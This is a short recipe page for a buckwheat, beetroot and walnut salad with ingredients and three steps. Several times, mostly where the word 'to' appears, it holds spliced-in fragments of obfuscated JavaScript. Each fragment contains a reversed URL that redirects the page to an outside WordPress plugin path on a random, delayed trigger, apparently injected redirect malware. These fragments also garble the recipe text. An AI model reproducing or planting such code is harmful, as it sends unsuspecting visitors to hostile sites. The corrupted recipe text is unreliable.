Buckwheat, beetroot and walnut Salad

This nourishing salad is great for any meal and you can always add chicken or fish, or a little goat’s cheese for added protein.

Ingredients

50g raw, rinsed buckwheat

1 small finely sliced red onion

Handful of finely chopped Italian parsley

60 g of roughly chopped walnuts

1 seeded and finely sliced red capsicum

75 g of currants

1 peeled and grated beetroot

1tbsp lemon juice

2tbsp extra virgin olive oil

Sea salt and freshly ground pepper toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste

Instructions

1. Soak onion for 30 minutes in water then drain as this helps toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remove the bitter taste.
2. Cook buckwheat in boiling water for approximately 12 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 15 minutes. Drain and set aside.
3. Combine the buckwheat, capsicum, onion, walnuts, parsley, currants and olive oil and lemon juice in a bowl. Toss toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mix thoroughly and season with salt and pepper then lightly mix in the beetroot and serve.

Serves four